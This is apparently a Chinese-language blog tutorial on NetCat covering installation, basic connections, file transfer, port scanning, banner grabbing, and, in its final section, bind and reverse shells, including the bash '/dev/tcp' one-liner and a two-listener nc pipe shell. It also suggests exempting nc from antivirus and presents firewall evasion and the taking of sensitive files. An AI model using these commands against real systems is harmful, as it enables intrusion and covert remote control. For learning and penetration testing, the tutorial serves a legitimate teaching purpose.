探索NetCat:网络流量监测与数据传输的利器
从简单的数据传输到复杂的网络调试,NetCat的灵活性和多功能性让人赞叹不已,在这篇文章中我将深入探讨NetCat的魅力,揭示它的基本功能、实用技巧以及在日常工作中的应用场景,发现如何用这一小工具提升的网络技能与效率。
目录
NetCat安装教程
NetCat基础使用
NetCat文件传输
NetCat端口探测
NetCat反弹shell
注意!!!:本文所述的网络安全攻击手段仅供学习和研究目的,旨在提高用户对网络安全威胁的认识,帮助读者加强自身的防护措施。任何使用本文内容进行的攻击行为,均由实施者自行承担相关责任。博主对此不承担任何法律责任或损失赔偿义务。请遵循法律法规,确保在合法的范围内使用所学知识。
NetCat安装教程
Netcat简称为nc,被称为“网络工具的瑞士军刀”,是一个功能强大的网络工具,用于读写网络连接中的数据,它支持多种协议(如TCP和UDP),能够在网络上进行数据传输、调试、监控和安全测试,它的命令行界面使得使用者可以快速实现各种网络任务,非常适合系统管理员和网络安全专业人员使用,其下载地址为:地址 ,我们就以下载1.12的举例吧:
当然下载解压之后,如果电脑没有提前关闭杀软的话nc会被当成病毒给杀掉,我们可以打开杀软将杀掉的exe文件恢复并添加到信任区即可,然后我们点击键盘win键输入“高级系统设置”,点击环境变量,找到系统变量里面的path然后点击编辑:
然后将我们解压好netcat工具的目录编辑到里面,然后一直点击确定即可:
然后我们win+r输入cmd打开终端,在终端中输入nc -help,出现如下情况说明我们安装成功:
NetCat基础使用
创建服务端与客户端连接:这里我们可以借助netcat来分别创建服务端与客户端,然后进行两者简易的通信功能,具体如下所示:
01)创建服务端可以执行如下方法进行操作,cmd打开一个终端执行如下命令:
// -l: 启动监听模式 -p: 监听某个端口的连接
nc -l -p [本地端口]
02)创建客户端可以执行如下方法进行操作,cmd打开第二个终端执行如下命令:
nc [服务器ip] [服务器ip开启的端口号]
接下来在服务器中编写相应的信息进行发送,可以看到我们的客户端能及时的收到我们的消息:
返回shell使用:当我们在服务端执行相应的命令之后,在客户端我们就可以执行命令拿到服务端的cmd权限,当拿到目标机器并且目标机器上存在netcat之后,可以使用netcat建立后门方便后期执行目标机器命令的功能:具体如下所示:
弹回Window系统下的shell可以采取如下方式进行:
01)创建服务端可以执行如下方法进行操作,cmd打开一个终端执行如下命令:
// -l: 启动监听模式 -p: 监听某个端口的连接
// -e cmd.exe: 表示连接之后返回给连接段的程序是cmd.exe
nc -l -p [本地端口] -e cmd.exe
02)创建客户端这里我们使用虚拟机kail系统,虚拟机网络连接方式选择NAT方式,切换到root权限终端执行如下命令:
nc [ip地址] [端口号]
弹回Linux系统下的shell可以采取如下方式进行:
01)创建服务端可以执行如下方法进行操作,打开一个终端执行如下命令:
nc -l -p [端口号] -e /bin/bash
02)创建客户端这里我们使用window系统,终端执行如下命令:
当然netcat还有一些其他的使用命令,这里就不再一一赘述了,具体可参考如下:
// 参数 + 说明
-C 类似-L选项,一直不断连接[1.13版本新加的功能]
-d 后台执行
-e prog 程序重定向,一旦连接,就执行 [危险!!]
-g gateway 源路由跳数,最大值为8(source-routing hop point[s],up to 8)
-G num 源路由指针:4,8,12,... (source-routing pointer: 4,8,12,...)
-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-n 指定数字的IP地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 任意指定本地及远程端口
-s addr 本地源地址
-u UDP模式,[netcat-1.15可以:远程nc -ulp port -e cmd.exe,本地nc -u ip port连接,得到一个shell.]
-v 详细输出——用两个-v可得到更详细的内容
-w secs 指定超时的时间
-z 将输入输出关掉——用于扫描时
NetCat文件传输
NetCat工具还提供了文件传输的操作,具体的使用场景主要有以下两个方面可以进行:
取证:当目标机器被黑客攻击之后取证任意可以利用NC的文件传输功能来获取目标机器上的文件内容,避免直接在目标机器上进行操作造成的取证误差。
下载:当目标机器上有一些敏感文件内容无非正常下载时,可以利用NC来进行文件传输。
客户端向服务端传输:接下来我们可以实现在客户端中往服务端传递文件,具体如下所示:
01)创建服务端,终端执行如下命令将接收的文件重命名然后报错当前路径:
nc -l -p 4444 > test.txt
02)创建客户端,终端执行如下命令将当前路径下的文件传输给具体ip和端口的服务器:
nc [服务器ip] [服务器端口] < [传输文件]
服务端向客户端传输:传输方式无非是和上面的命令反着来而已,这里我们再将上面传输给服务端的test.txt文件再传递给客户端,这里直接演示:
NetCat端口探测
当获取到目标权限之后,如果目标机器没有任何途径可以对内网进行探测,但此时刚好有一个netcat的情况下,就可以使用netcat对目标机器进行内网ip的一个端口扫描,具体使用的命令如下所示:
// -v: 表示对错误进行详细输出
// -n: 不对目标机进行DNS解析
// -z: zero I/O 模式,专业对端口扫描,表示对目标IP发送的数据包不包含任何payload
// -w1: 超时设置1秒
nc -v -n -z -w1 [目标ip] [开始端口-结束端口]
如下我们对我们目标主机进行一个端口扫描:
当然如果要扫描范围的端口的话可能还需要等待一段时间,如果仅仅是扫描单个端口的话直接输入单个端口即可,扫描的非常迅速:
如果向查看本机的端口开放情况,可以终端执行 netstat -ano 命令进行查看:
Banner抓取:Banner是网络服务在连接时发送的初始信息,通常包含关于该服务的名称、版本号和其他相关信息,这些信息可以帮助用户或安全专家识别正在运行的服务,了解其配置和潜在的漏洞:
使用Netcat进行Banner抓取是指通过连接到某个网络服务(如HTTP、FTP、SMTP等)并获取服务的“横幅”(banner)信息,这个横幅通常包含关于服务版本、协议和其他有用信息,能够帮助安全专家识别潜在的漏洞或配置问题,具体命令如下所示:
// echo " " 使用echo输出什么都没有的" "
// | 通过管道连接发送到对应端口服务上
echo " " | nc -v -n -w1 [目标地址] [开始端口-结束端口]
如果端口开放的情况下,端口扫描就会顺便把该端口的banner信息打印出来:
UDP端口扫描:有时候目标主机上有一些防护软件(防火墙),我们不能通过上面常规的TCP去扫描它的端口服务,这个时候我们就可以使用UDP对目标进行扫描,可以简单的绕过防火墙缺点是扫描的结果可能不是太准确,具体命令如下所示:
// -u: 参数使用UDP
nc -u -z -v [目标IP] [目标端口]
NetCat反弹shell
如果纯真某些时候拿到服务器权限之后想要设置一个反弹shell,但是目标服务器上没有安装netcat的情况下,这里时候我们就需要采取别的方式进行处理了,这里我们以bash反弹shell的方向进行举例说明:
1)客户端监听接收netcat命令,终端执行如下命令:
nc -lvp [监听端口]
2)没有安装nc的服务器反弹shell命令,终端执行如下命令:
bash -i >& /dev/tcp/[客户端ip]/[客户端监听端口] 0>&1
命令解释介绍:
bash -i >& /dev/tcp/ip/port 0>&1
在命令中bash-i表示已交互模式运行bashshell。重定向符>&,如果是在其后加文件描述符,是将bash-i交互模式传递给文件描述符,而如果其后是文件,则将bash-i交互模式传递给文件。
dev/tcp/ip/port:表示传递给远程主机的IP地址对应的端口
文件描述符:0标准输入、1标准输出、2错误输入输出
命令中的0>&1表示将标准输入重定向到标准输出,实现远程的属于可以在远程输出对应内容
达到的效果如下所示,可以看到我们拿到了我们的linux服务器的shell,并且可以查看其文件信息了,这里有一个编码问题,后期处理掉即可:
如果拿到服务器权限之后想要设置一个反弹shell,可能存在一些防护软件或防火墙配置原因不支持nc的-e参数命令,这里我们可以采用如下的方式进行解决:
1)客户端同时监听两个端口(一个端口作为输入;另一个作为输出),打开两个终端执行:
// 终端1
nc -lvp 4445
// 终端2
nc -lvp 4446
2)服务端执行如下反弹shell命令:
nc ip port | /bin/bash | nc ip port
在上面命令中,在攻击测试机器上开启两个NC,其中一个作为输入,另一个作为输出,目标机器上,使用管道来重定向输入和输出,输入通过管道传给/bin/bash再通过管道来传递给输出,具体如下所示:
相关文章:

探索NetCat:网络流量监测与数据传输的利器
从简单的数据传输到复杂的网络调试,NetCat的灵活性和多功能性让人赞叹不已,在这篇文章中我将深入探讨NetCat的魅力,揭示它的基本功能、实用技巧以及在日常工作中的应用场景,发现如何用这一小工具提升的网络技能与效率。 目录 Net…...

【运动的&足球】足球运动员球守门员裁判检测系统源码&数据集全套:改进yolo11-DBBNCSPELAN
改进yolo11-FocalModulation等200全套创新点大全:足球运动员球守门员裁判检测系统源码&数据集全套 1.图片效果展示 项目来源 人工智能促进会 2024.10.28 注意:由于项目一直在更新迭代,上面“1.图片效果展示”和“2.视频效果展示…...

求最大公约数,最小公倍数
输入两个正整数 m 和 n,求其最大公约数和最小公倍数。 求最小公倍数算法: 最小公倍数 两整数的乘积 最大公约数 根据求最小公倍数的算法,可以看出如果已知最大公约数,就能很容易求出最小公倍数。而通过辗转相除法和相减法&#…...

Android——横屏竖屏
系统配置变更的处理机制 为了避免横竖屏切换时重新加载界面的情况,Android设计了一中配置变更机制,在指定的环境配置发生变更之时,无需重启活动页面,只需执行特定的变更行为。该机制的视线过程分为两步: 修改 Androi…...

scala---10.30
val、var package com_1030class Person {var name:String"rose"def sum(n1:Int,n2:Int):Int{n1n2} } object Person{def main(args: Array[String]): Unit {//创建person对象var personnew Person()println(person.sum(10,20))//30println(person.name)person.nam…...

Pinctrl子需要中client端使用pinctrl过程的驱动分析
往期内容 本专栏往期内容: Pinctrl子系统和其主要结构体引入Pinctrl子系统pinctrl_desc结构体进一步介绍Pinctrl子系统中client端设备树相关数据结构介绍和解析inctrl子系统中Pincontroller构造过程驱动分析:imx_pinctrl_soc_info结构体 input子系统专栏…...

【网络】传输层协议TCP
目录 四位首部长度 序号 捎带应答 标记位 超时重传机制 连接管理机制(RST标记位) 三次握手及四次挥手的原因 TCP的全称是传输控制协议(Transmission Control Protocol),也就是说,对于放到TCP发送缓冲…...

00-开发环境 MPLAB IDE 配置
MPLAB IDE V8.83 File 菜单简介 New (CtrlN): 创建一个新文件,用于编写新的代码。 Add New File to Project...: 将新文件添加到当前项目中。 Open... (CtrlO): 打开现有文件。 Close (CtrlE): 关闭当前打开的文件。 …...

<meta property=“og:type“ content=“website“>
<meta property"og:type" content"website"> 这段代码是HTML中的一部分,具体来说,它是一个用于定义Open Graph协议的meta标签。 代码分析 <meta> 标签:这是一个HTML标签,用于在HTML文档的头…...

C++ 实现俄罗斯方块游戏
✅作者简介:2022年博客新星 第八。热爱国学的Java后端开发者,修心和技术同步精进。 🍎个人主页:Java Fans的博客 🍊个人信条:不迁怒,不贰过。小知识,大智慧。 💞当前专栏…...

QT打包Macosx应用发布App Store简易流程
1、QC里编译工程,生成Release版的的app文件; 2、运行macdeployqt把需要的文件打包进app文件中; % ~/Qt/5.15.0/clang_64/bin/macdeployqt {编译的app文件所在路径}/Release/xxxx.app 3、使用codesign对app进行签名,如果要发App…...

untiy mlagents 飞机大战 ai训练
前言 之前那个python源码的飞机大战bug过多,还卡顿,难以继续训练。可直接放弃的话又不甘心,所以找了个unity版本的飞机大战继续(终于不卡了),这次直接使用现成的mlagents库。 过程 前前后后花了两周时间,甚至因此拖…...

从0开始学统计-什么是中心极限定理
引言 中心极限定理(Central Limit Theorem, CLT)是统计学中的一块基石,它揭示了一个难以置信的数学现象:无论一个随机变量的原始分布如何,只要我们取足够大的样本量,这些样本的平均值(或总和&a…...

工具方法 - 个人活动的分类
人类活动的分类是一个复杂的话题,因为人类的活动范围非常广泛且相互交叉。然而,我们可以尝试将人类的活动大致分为以下几个主要类别: 工作活动 工作活动是人类生活中不可或缺的一部分,通常包括以下方面: 1. 职业工作&a…...

11.1组会汇报-基于区块链的安全多方计算研究现状与展望
基础知识 *1.背书,这个词源来自银行票据业务,是指票据转让时,原持有人在票据背面加盖自己的印鉴,证明该票据真实有效、如果有问题就可以找原持有人。 区块链中的背书就好理解了。可以简单的理解为验证交易并声明此交易合法&…...

ubuntu【桌面】 配置NAT模式固定IP
DHCP分配导致虚拟机IP老变,SSH老要重新配置,设成静态方便些 一、设NAT模式 1、设为NAT模式 2、看模式对应的虚拟网卡 - VMnet8 3、共享主机网卡网络到虚拟网卡 - VMnet8 二、为虚拟网卡设置静态IP 记住这个IP 三、设置ubuntu固定IP 1、关闭DHCP并…...

评估 机器学习 回归模型 的性能和准确度
回归 是一种常用的预测模型,用于预测一个连续因变量和一个或多个自变量之间的关系。 那么,最后评估 回归模型 的性能和准确度非常重要,可以帮助我们判断模型是否有效并进行改进。 接下来,和大家分享如何评估 回归模型 的性能和准…...

如何下载安装TestLink?
一、下载TestLink、XAMPP TestLink 下载 |SourceForge.net 备用:GitHub - TestLinkOpenSourceTRMS/testlink-code: TestLink开源测试和需求管理系统 下载XAMPP: Download XAMPP 注意:TestLink与PHP版本有关系,所以XA…...

基于SSM+微信小程序的订餐管理系统(点餐2)
👉文末查看项目功能视频演示获取源码sql脚本视频导入教程视频 1、项目介绍 基于SSM微信小程序的订餐管理系统实现了管理员和用户。管理端实现了 首页、个人中心、用户管理、菜品分类管理、菜品信息管理、订单信息管理、配送信息管理、菜品评价管理、订单投诉管理、…...

【C++排序 双指针】1996. 游戏中弱角色的数量|1996
本文涉及的基础知识点 排序 C算法:滑动窗口及双指针总结 本题其它解法 【C单调栈 排序】1996. 游戏中弱角色的数量|1996 LeetCode1996. 游戏中弱角色的数量 你正在参加一个多角色游戏,每个角色都有两个主要属性:攻击 和 防御 。给你一个…...

GESP4级考试语法知识(捕捉异常)
参考程序代码: #include <iostream> using namespace std;double divide(double a, double b) {if (b 0) {throw "Division by zero error"; // 抛出异常}return a / b; }int main() {double num1, num2;cout << "Enter two numbers:…...

HTML 基础标签——元数据标签 <meta>
文章目录 1. `<meta>` 标签概述2. 属性详解2.1 `charset` 属性2.2 `name` 属性2.3 `content` 属性2.4 `http-equiv` 属性3. 其他常见属性小结在 HTML 文档中,元数据标签 <meta> 是一种重要的标签,用于提供关于文档的信息,这些信息不直接显示在网页内容中,但对于…...

栈虚拟机和寄存器虚拟机,有什么不同?
本来这节内容是打算直接讲字节码指令的,但讲之前又必须得先讲指令集架构,而指令集架构又分为两种,一种是基于栈的,一种是基于寄存器的。 那不妨我们这节就单独来讲讲栈虚拟机和寄存器虚拟机,它们有什么不同࿰…...

Windows下基于fping进行批量IP测试
fping是Linux下一个很好用的IP测试工具,结合代码可以完成批量的IP测试,在网络调试中用途很广。本文是基于fping for Windows结合bat批处理,定制的测试脚本样例。 一、程序信息 本次测试使用fpingV5.1 for Windows版,版本信息如下…...

一款实用的Word文档图片转换与水印保护工具
目录 前言软件功能简介软件实现方法及关键代码 1. Word 文档转图片的实现2. 图片水印添加功能3. 生成数字指纹(哈希值)4. 保存图片信息到 JSON 文件 软件的实际使用场景软件操作指南 1. 下载和安装2. 操作流程 总结 1,前言 在日常办公和内…...

优化用于传感应用的衬底集成波导技术
ANSYS HFSS 是一款功能强大的电磁仿真软件,支持为微流体生物传感器应用设计和分析衬底集成波导 (SIW) 技术。它为快速设计优化、材料选择、系统集成和虚拟原型制作提供了一个强大的平台。借助 ANSYS HFSS,研究人员和工程师可以高效…...

Java多态特性的向上转型
Java的多态特性通过向上转型来实现。向上转型指的是将子类对象赋值给父类引用变量的操作。这样做的好处是可以使用父类引用变量来调用子类对象的方法。 例如,有一个父类Animal和一个子类Dog,可以这样进行向上转型: Animal animal new Dog(…...

C++ 判断语句的深入解析
C 判断语句的深入解析 C 是一种广泛使用的编程语言,以其高效性和灵活性著称。在 C 中,判断语句是控制程序流程的关键组成部分,它们允许程序根据不同的条件执行不同的代码路径。本文将深入探讨 C 中的判断语句,包括 if、else if、…...

15分钟学 Go 第 33 天:项目结构
第33天:项目结构 目标:了解Go项目的典型结构 在Go语言的开发中,项目结构的合理性直接影响着代码的可维护性、可扩展性和团队协作效率。本篇文章将深入探讨Go语言的典型项目结构,并提供实际示例代码和相关的流程图。 一、Go项目…...

conda迁移虚拟环境路径
方法一:使用软连接 ln -s ~/Anaconda3/envs /new/path/envs 方法二:修改~/.condarc文件 1.打开~/.condarc文件 #添加下面参数 envs_dirs: - /newpath/anaconda3/envs pkgs_dirs: - /newpath/anaconda3/pkgs 2. source ~/.bashrc 3.查看是否成功con…...